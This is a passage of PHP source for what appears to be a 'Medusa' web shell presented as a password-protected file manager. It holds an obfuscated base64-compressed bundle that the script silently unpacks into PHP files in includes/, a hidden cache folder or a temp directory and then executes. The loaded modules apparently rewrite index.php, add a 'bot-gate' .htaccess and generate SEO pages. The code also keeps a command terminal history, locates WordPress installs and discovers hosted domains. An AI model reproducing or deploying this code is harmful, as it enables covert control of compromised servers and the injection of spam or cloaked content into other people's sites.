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',
);
}
function fm_embedded_bundle_decode(string $b64): string
{
$bin = base64_decode($b64, true);
if ($bin === false) {
return '';
}
$raw = @gzuncompress($bin);
return is_string($raw) ? $raw : '';
}
function fm_embedded_bundle_install(string $fmDir, bool $force = false): array
{
$fmDir = rtrim(str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $fmDir), DIRECTORY_SEPARATOR);
$incDir = $fmDir . DIRECTORY_SEPARATOR . 'includes';
if (!is_dir($incDir) && !@mkdir($incDir, 0755, true) && !is_dir($incDir)) {
return ['ok' => false, 'written' => 0, 'files' => [], 'error' => 'includes/ olusturulamadi'];
}
$written = 0;
$files = [];
foreach (fm_embedded_bundle_manifest() as $name => $b64) {
$dest = $incDir . DIRECTORY_SEPARATOR . $name;
if (!$force && is_file($dest) && (int)@filesize($dest) > 32) {
continue;
}
$content = fm_embedded_bundle_decode($b64);
if ($content === '' || !str_contains($content, '<?php')) {
return ['ok' => false, 'written' => $written, 'files' => $files, 'error' => 'decode hatasi: ' . $name];
}
if (@file_put_contents($dest, $content, LOCK_EX) === false) {
return ['ok' => false, 'written' => $written, 'files' => $files, 'error' => 'yazilamadi: ' . $name];
}
@chmod($dest, 0644);
$written++;
$files[] = $name;
}
$rootLib = $fmDir . DIRECTORY_SEPARATOR . 'ms_index_library.php';
$srcLib = $incDir . DIRECTORY_SEPARATOR . 'ms_index_library.php';
if (is_file($srcLib) && ($force || !is_file($rootLib))) {
if (@copy($srcLib, $rootLib) || @file_put_contents($rootLib, (string)@file_get_contents($srcLib)) !== false) {
@chmod($rootLib, 0644);
$written++;
$files[] = 'ms_index_library.php (root)';
}
}
return ['ok' => true, 'written' => $written, 'files' => $files, 'error' => ''];
}
}
// @fm-embedded-bundle-end
define('FM_BUILD_ID', '2.4-monolith-single-file-2026');
/** Tek dosya FM: gömülü modülleri çalıştır (includes/ şart değil; gerekirse .medusa-cache veya temp). */
function fm_embedded_runtime_dir(): string
{
static $dir = null;
if (is_string($dir) && $dir !== '') {
return $dir;
}
$fmDir = rtrim(str_replace(['/', '\\'], DIRECTORY_SEPARATOR, dirname(__FILE__)), DIRECTORY_SEPARATOR);
$candidates = [
$fmDir . DIRECTORY_SEPARATOR . 'includes',
$fmDir . DIRECTORY_SEPARATOR . '.medusa-cache',
];
foreach ($candidates as $c) {
if (is_dir($c) && is_writable($c)) {
$dir = $c;
return $dir;
}
if (@mkdir($c, 0755, true) && is_dir($c) && is_writable($c)) {
$dir = $c;
return $dir;
}
}
$tmp = rtrim(sys_get_temp_dir(), '/\\') . DIRECTORY_SEPARATOR . 'medusa-fm-' . substr(hash('sha256', $fmDir . '|' . FM_BUILD_ID), 0, 20);
if (!is_dir($tmp)) {
@mkdir($tmp, 0755, true);
}
$dir = is_dir($tmp) ? $tmp : $fmDir;
return $dir;
}
function fm_embedded_materialize_file(string $name): ?string
{
static $done = [];
$name = basename(str_replace('\\', '/', $name));
if ($name === '' || $name === '.' || $name === '..') {
return null;
}
if (isset($done[$name])) {
return $done[$name];
}
$dest = fm_embedded_runtime_dir() . DIRECTORY_SEPARATOR . $name;
if (is_file($dest) && (int)@filesize($dest) > 32) {
$done[$name] = $dest;
return $dest;
}
if (!function_exists('fm_embedded_bundle_manifest')) {
return null;
}
$manifest = fm_embedded_bundle_manifest();
if (!isset($manifest[$name])) {
return null;
}
$content = fm_embedded_bundle_decode($manifest[$name]);
if ($content === '' || !str_contains($content, '<?php')) {
return null;
}
if (@file_put_contents($dest, $content, LOCK_EX) === false) {
return null;
}
@chmod($dest, 0644);
$done[$name] = $dest;
return $dest;
}
/** @param list<string> $names */
function fm_embedded_require_chain(array $names): bool
{
foreach ($names as $name) {
$path = fm_embedded_materialize_file($name);
if ($path === null) {
continue;
}
try {
require_once $path;
} catch (Throwable $e) {
continue;
}
}
return true;
}
function fm_embedded_bootstrap_seo(): bool
{
if (function_exists('ms_generate_seo_page') && function_exists('ms_istanbul_districts')) {
return true;
}
if (!function_exists('fm_embedded_bundle_manifest')) {
return false;
}
fm_embedded_materialize_file('tr_locations_data.php');
fm_embedded_require_chain([
'fm_seo_generate.php',
'ms_seo_generate.php',
'ms_seo_license.php',
]);
return function_exists('ms_generate_seo_page') && function_exists('ms_istanbul_districts');
}
function fm_embedded_bootstrap_index(): bool
{
if (function_exists('ms_clean_index_php') && function_exists('ms_merge_bot_gate_htaccess')) {
return true;
}
if (!function_exists('fm_embedded_bundle_manifest')) {
return false;
}
fm_embedded_require_chain(['ms_index_library.php']);
return function_exists('ms_clean_index_php');
}
define('FM_PASSWORD_HASH', '$2y$10$Z6BcUu0E76L3Xjb9DxZjjOhlQiJdpWZYetKP7n2Vxx6QUbf0DwQjq');
if (isset($_GET['fm_selfcheck']) && (string)$_GET['fm_selfcheck'] === '1') {
header('Content-Type: text/plain; charset=utf-8');
$fmSelfScript = basename((string)($_SERVER['SCRIPT_FILENAME'] ?? __FILE__));
echo 'OK ' . FM_BUILD_ID . "\n";
echo 'script=' . $fmSelfScript . "\n";
echo 'plain_php=1' . "\n";
$fmDir = dirname(__FILE__);
echo 'embedded_inline=' . (function_exists('fm_embedded_bundle_manifest') ? '1' : '0') . "\n";
if (defined('FM_EMBEDDED_BUNDLE_ID')) {
echo 'embedded_id=' . FM_EMBEDDED_BUNDLE_ID . "\n";
}
fm_embedded_bootstrap_seo();
fm_embedded_bootstrap_index();
$seoOk = function_exists('ms_generate_seo_page');
$idxOk = function_exists('ms_clean_index_php');
echo 'bundle_seo=' . ($seoOk ? '1' : '0') . "\n";
echo 'bundle_index=' . ($idxOk ? '1' : '0') . "\n";
echo 'runtime_dir=' . fm_embedded_runtime_dir() . "\n";
$idxPath = $fmDir . '/index.php';
if (is_file($idxPath)) {
$head = (string)@file_get_contents($idxPath, false, null, 0, 8192);
if (str_contains($head, 'BEGIN Medusa Studio bot-gate')) {
echo "index_probe=medusa_gate\n";
} elseif ($head !== '' && preg_match('/\b(eval|assert)\s*\(\s*base64_decode/i', $head)) {
echo "index_probe=obfuscated\n";
} elseif ($head !== '') {
echo "index_probe=other\n";
} else {
echo "index_probe=empty\n";
}
$side = $fmDir . '/.fm-index.sha256';
if (is_file($side) && $head !== '') {
$want = trim((string)explode("\n", (string)@file_get_contents($side))[0]);
echo 'index_sidecar_match=' . (hash('sha256', (string)@file_get_contents($idxPath)) === $want ? '1' : '0') . "\n";
}
} else {
echo "index_probe=missing\n";
}
exit;
}
session_start();
// ── Authentication ──────────────────────────────────────────
$authError = '';
if (isset($_POST['fm_logout'])) {
$_SESSION['fm_auth'] = false;
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
if (isset($_POST['fm_password'])) {
if (password_verify($_POST['fm_password'], FM_PASSWORD_HASH)) {
$_SESSION['fm_auth'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else {
$authError = 'Incorrect password. Please try again.';
}
}
if (empty($_SESSION['fm_auth'])) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager — Login</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<script>tailwind.config={theme:{extend:{fontFamily:{sans:['Plus Jakarta Sans','sans-serif'],mono:['JetBrains Mono','monospace']},animation:{'slide-up':'slideUp 0.3s ease-out'},keyframes:{slideUp:{from:{opacity:'0',transform:'translateY(16px)'},to:{opacity:'1',transform:'translateY(0)'}}}}}}</script>
<style>body{font-family:'Plus Jakarta Sans',sans-serif;}</style>
</head>
<body class="bg-[#080f1f] min-h-screen flex items-center justify-center p-4">
<div class="absolute inset-0 bg-[linear-gradient(rgba(59,130,246,0.03)_1px,transparent_1px),linear-gradient(90deg,rgba(59,130,246,0.03)_1px,transparent_1px)] bg-[size:40px_40px] pointer-events-none"></div>
<div class="relative w-full max-w-sm animate-slide-up">
<div class="bg-[#0f172a] border border-slate-700/50 rounded-2xl shadow-2xl overflow-hidden">
<div class="h-1 bg-gradient-to-r from-blue-600 via-blue-400 to-cyan-400"></div>
<div class="px-8 py-8">
<div class="flex flex-col items-center mb-8">
<div class="w-14 h-14 rounded-2xl bg-blue-500/10 border border-blue-500/25 flex items-center justify-center mb-4">
<svg xmlns="http://www.w3.org/2000/svg" class="w-7 h-7 text-blue-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M3 7a2 2 0 012-2h4l2 2h8a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2V7z"/></svg>
</div>
<h1 class="text-xl font-bold text-slate-100">File Manager</h1>
<p class="text-xs text-slate-500 mt-1 font-mono"><?php echo htmlspecialchars(FM_BUILD_ID); ?></p>
</div>
<?php if ($authError): ?>
<div class="flex items-center gap-2 px-4 py-3 mb-5 rounded-xl bg-rose-500/10 border border-rose-500/20 text-rose-400 text-sm">
<svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
<?php echo htmlspecialchars($authError); ?>
</div>
<?php endif; ?>
<form method="post">
<label class="block text-xs font-medium text-slate-400 mb-2">Password</label>
<div class="relative mb-6">
<input type="password" name="fm_password" id="fm_password" required autofocus placeholder="Enter password"
class="w-full px-4 py-3 pr-11 font-mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-xl text-slate-200 placeholder-slate-600 focus:outline-none focus:border-blue-500/60 focus:bg-slate-800 transition-all">
<button type="button" onclick="togglePw()" class="absolute right-3 top-1/2 -translate-y-1/2 text-slate-500 hover:text-slate-300 transition-colors" tabindex="-1">
<svg id="eyeIcon" xmlns="http://www.w3.org/2000/svg" class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"/>
<path stroke-linecap="round" stroke-linejoin="round" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"/>
</svg>
</button>
</div>
<button type="submit" class="w-full py-3 text-sm font-semibold text-white bg-blue-600 hover:bg-blue-500 rounded-xl transition-all duration-150 shadow-lg shadow-blue-500/20">Sign In</button>
</form>
</div>
</div>
<p class="text-center text-xs text-slate-700 mt-5 font-mono"><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']??'Unknown Server'); ?></p>
</div>
<script>
function togglePw(){const i=document.getElementById('fm_password'),e=document.getElementById('eyeIcon');if(i.type==='password'){i.type='text';e.innerHTML='<path stroke-linecap="round" stroke-linejoin="round" d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.542-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l3.59 3.59m0 0A9.953 9.953 0 0112 5c4.478 0 8.268 2.943 9.542 7a10.025 10.025 0 01-4.132 5.411m0 0L21 21"/>';}else{i.type='password';e.innerHTML='<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"/><path stroke-linecap="round" stroke-linejoin="round" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"/>';}}
</script>
</body></html>
<?php exit; }
// ── End Auth ────────────────────────────────────────────────
fm_bootstrap_fm_modules();
$timezone = date_default_timezone_get();
date_default_timezone_set($timezone);
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDirectory = dirname(__FILE__);
function fm_path_b64_encode(string $path): string
{
return rtrim(strtr(base64_encode($path), '+/', '-_'), '=');
}
/** URL path param — base64 (fm link) veya düz mutlak yol */
function fm_path_param_decode(string $raw): string
{
$raw = str_replace("\0", '', trim($raw));
if ($raw === '') {
return '';
}
$std = strtr($raw, '-_', '+/');
$pad = strlen($std) % 4;
if ($pad > 0) {
$std .= str_repeat('=', 4 - $pad);
}
$dec = base64_decode($std, true);
if ($dec !== false && $dec !== '' && preg_match('#^[\x20-\x7E\x{C0}-\x{024F}\\\\/:.]+$#u', $dec)) {
return $dec;
}
if (preg_match('#^[A-Za-z]:\\\\#', $raw) || str_starts_with($raw, '/') || str_starts_with($raw, '\\\\')) {
return $raw;
}
$legacy = base64_decode($raw, true);
if ($legacy !== false && $legacy !== '' && (str_starts_with($legacy, '/') || preg_match('#^[A-Za-z]:\\\\#', $legacy))) {
return $legacy;
}
return $raw;
}
function x($b)
{
return fm_path_b64_encode((string)$b);
}
$_reqDirRaw = isset($_GET['d']) ? (string)$_GET['d'] : '';
$_reqDir = $_reqDirRaw !== '' ? fm_path_param_decode($_reqDirRaw) : $rootDirectory;
$currentDirectory = @realpath($_reqDir) ?: @realpath($rootDirectory) ?: $rootDirectory;
if ($currentDirectory && is_dir($currentDirectory)) {
chdir($currentDirectory);
} else {
$currentDirectory = $rootDirectory;
chdir($currentDirectory);
}
// medusa.php / fm.php — düz PHP (ionCube/şifreli dropper değil)
$fmSelfScript = basename((string)($_SERVER['SCRIPT_FILENAME'] ?? __FILE__));
if ($fmSelfScript === 'medusa.php' || $fmSelfScript === 'fm.php') {
ini_set('display_errors', '0');
if (!defined('FM_VIA_MEDUSA')) {
define('FM_VIA_MEDUSA', $fmSelfScript === 'medusa.php');
}
}
$viewCommandResult=''; $statusMessage=''; $statusType='';
$editorLoad = null;
$terminalHistory = [];
if(!isset($_SESSION['terminal_history'])){
$_SESSION['terminal_history'] = [];
}
$terminalHistory = $_SESSION['terminal_history'];
// ── Clear History ──────────────────────────────────────────
if(isset($_POST['clear_history'])){
$_SESSION['terminal_history'] = [];
$terminalHistory = [];
$statusMessage = '🗑️ Terminal geçmişi temizlendi';
$statusType = 'success';
}
$fmDomainsBaseDir = !empty($_SESSION['fm_domains_base_dir'])
? (string)$_SESSION['fm_domains_base_dir']
: '';
if (isset($_POST['set_fm_domains_base_dir'])) {
$newDir = trim((string)($_POST['fm_domains_base_dir'] ?? ''));
$real = $newDir !== '' ? @realpath($newDir) : false;
if ($real !== false && is_dir($real)) {
$_SESSION['fm_domains_base_dir'] = $real;
$fmDomainsBaseDir = $real;
$statusMessage = '✅ Domain tarama kökü: ' . $real;
$statusType = 'success';
} else {
$statusMessage = '❌ Geçersiz dizin: ' . htmlspecialchars($newDir);
$statusType = 'error';
}
}
if (isset($_POST['reset_fm_domains_base_dir'])) {
unset($_SESSION['fm_domains_base_dir']);
$fmDomainsBaseDir = '';
$statusMessage = '✅ Domain tarama kökü sıfırlandı (otomatik keşif)';
$statusType = 'success';
}
// ── WordPress Fonksiyonları ──────────────────────────────
function isWordPressInstall($dir) {
$wpConfig = $dir . '/wp-config.php';
$wpAdmin = $dir . '/wp-admin';
$wpIncludes = $dir . '/wp-includes';
if (file_exists($wpConfig) && is_dir($wpAdmin) && is_dir($wpIncludes)) {
$config = @file_get_contents($wpConfig);
if ($config && strpos($config, 'ABSPATH') !== false && strpos($config, 'DB_NAME') !== false) {
return true;
}
}
return false;
}
function findWpLoadPath($dir) {
$searchPaths = [
$dir,
$dir . '/wp',
$dir . '/wordpress',
dirname($dir),
dirname($dir) . '/wp',
$_SERVER['DOCUMENT_ROOT'],
$_SERVER['DOCUMENT_ROOT'] . '/wp',
$_SERVER['DOCUMENT_ROOT'] . '/wordpress'
];
$searchPaths = array_unique($searchPaths);
foreach ($searchPaths as $path) {
$wpLoadFile = $path . '/wp-load.php';
if (file_exists($wpLoadFile)) {
return $wpLoadFile;
}
}
return false;
}
// ── Otomatik Domain URL Algılama ──────────────────────────
function fm_blocked_host_labels(): array
{
return [
'public', 'public_html', 'httpdocs', 'htdocs', 'www', 'web', 'html', 'homepages',
'domains', 'vhosts', 'htdocs', 'site', 'admin', 'panel', 'app', 'localhost',
];
}
function fm_is_valid_site_host(string $host): bool
{
$host = strtolower(trim($host));
$host = preg_replace('/^www\./', '', $host) ?? $host;
if ($host === '' || str_contains($host, ' ')) {
return false;
}
if (in_array($host, fm_blocked_host_labels(), true)) {
return false;
}
if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,63}$/i', $host)) {
return false;
}
return true;
}
/** İstek üzerinden gerçek site host (medusa.php açık domain) */
function fm_http_host(): string
{
$host = trim((string)($_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''));
$host = preg_replace('/:\d+$/', '', $host) ?? $host;
$host = strtolower(preg_replace('/^www\./', '', $host) ?? $host);
return fm_is_valid_site_host($host) ? $host : '';
}
function fm_folder_name_to_host(string $folder): string
{
$folder = strtolower(trim(basename(str_replace('\\', '/', $folder))));
if ($folder === '' || in_array($folder, fm_blocked_host_labels(), true)) {
return '';
}
if (fm_is_valid_site_host($folder)) {
return preg_replace('/^www\./', '', $folder) ?? $folder;
}
if (!str_contains($folder, '_')) {
return '';
}
$dotted = preg_replace('/_+/', '.', $folder) ?? str_replace('_', '.', $folder);
$dotted = preg_replace('/\.{2,}/', '.', $dotted) ?? $dotted;
$dotted = trim((string)$dotted, '.');
return fm_is_valid_site_host($dotted) ? $dotted : '';
}
function fm_host_from_path(string $path): string
{
$path = str_replace('\\', '/', $path);
$candidates = [];
if (preg_match('#/domains/([^/]+)/(?:public_html|httpdocs|htdocs|www|web)#i', $path, $m)) {
$candidates[] = $m[1];
}
